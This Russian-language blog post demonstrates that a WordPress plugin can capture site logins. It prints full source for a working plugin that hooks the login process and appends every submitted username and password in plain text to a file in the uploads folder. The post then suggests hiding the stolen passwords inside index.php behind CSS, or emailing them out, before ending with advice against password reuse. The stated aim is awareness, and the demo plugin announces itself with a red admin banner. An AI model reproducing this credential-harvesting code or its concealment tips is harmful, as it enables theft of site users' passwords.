На различны митапах и конференциях меня часто спрашивают как правило в пол голоса можно ли написать такое расширение что бы пароли посетителей веб сайта сохраняло в открытом виде.
Спрашивают это так часто и так неожиданно, что а даже не знаю с чего начать, с того что так делать плохо, или с того что это слишком легко.
И правда можно ли?
Если задуматься о том как обычно проходит авторизация пользователей как минимум на тех сайтах которые используют php, можно прийти к выводу что почти все они используют данные отправляемые методом POST или GET.
Теперь если вспомнить такую особенность php что все вышеперечисленные запросы содержатся внутри суперглобальных массивов, а супер глобальный массив доступен в любой части исполняемого скрипта (потому он так странно и назван) то можно сделать вывод что украсть и сохранить пароль можно еще до того как он преобразуется в хеш.
Для демонстранции я даже покажу пример плагина для WordPress который
Конечно я не несу ответсвенности за написанное, код размешен в образовательных целях и выдаст себя большим красным банером в админке.
<?php
/*
Plugin Name: Hacker
Plugin URI: http://wordpress.org/wp-login-hacker
Description: Matrix has you
Author: Vladimir Petrozavodsky
Version: 1
Author URI: https://alkoweb.ru/
*/
function hack_notice() {
$path = wp_upload_dir();
echo "<div class='updated error' id='hacker'>
<p>Ваши аутентификационные данные сохраняются в открытом виде,</p>
<p> в файл ".$path['basedir']."/database.txt
<br>
<p><strong>Это может иметь очень плохие последствия для вас и вашего cайта!!!</strong></p>
</div>";
}
add_action( 'admin_notices', 'hack_notice' );
function hack_css() {
echo "
<style type='text/css'>
#hacker strong {
color:red;
}
</style>
";
}
add_action( 'admin_head', 'hack_css' );
function hack_post_watcher(){
$path = wp_upload_dir();
if( !empty($_POST['log']) and !empty($_POST['pwd']) ){
$tmp = fopen($path['basedir'] . "/database.txt","at");
fwrite($tmp,$_POST["log"].':'.$_POST["pwd"].' '.date('d-m-Y h:m:s')."\n");
fclose($tmp);
}
}
add_action('login_init', 'hack_post_watcher');
Основная идея тут в том что при в ходе входе на сайт плагин внедряет свой в скрипт обработки POST запросов, после чего добавляет их в специально созданный в каталоге /wp-content/uploads/database.txt и добавляет дату и время для наглядности (именно в этом каталоге потому что он скорее всего доступен на запись).
Да такую подозрительную активность легко заметить, но я и не пытался что либо скрыть, скорее наоборот. В реальной практике пароли можно писать например не в приметный database.txt а в index.php а в самое начало дописать например
<style>
*{display:none;}
</style>
злоумышленник сможет открыть этот файл в браузере и в исходном коде посмотреть пароли, а обычный пользователь ничего не усидит даже если случайно обнаружит этот url.
Но не обязательно что либо сохранять вообще, можно прямо средствами php отправлять пароли на сразу на email, а дальше на что фантазии хватит.
Так же многие ошибочно думают что их пароль от блога не представляет особой ценности или интересен только доя них самих.
Рассуждения с таких случаях строятся примерно так — сломают блог восстановлю бекап, пароли сменю, это очень и буду в полной безопасности.
Но это лишь иллюзия безопасности.
Как минимум по двум причинам.
Во-первых: не кривя душой вспомним как часто мы используем
одинаковые пары логин-пароль на разных сайтах, правильно часто ( ну или в лучшем случае делали это когда либо раньше).
Во-вторых: а кто сказал что вы вообще заметите присутствие опасного кусочка кода :)
На этом на сегодня все, придумывайте разные паром для критичных сервисов, и не задавайте глупых вопросов разработчикам.



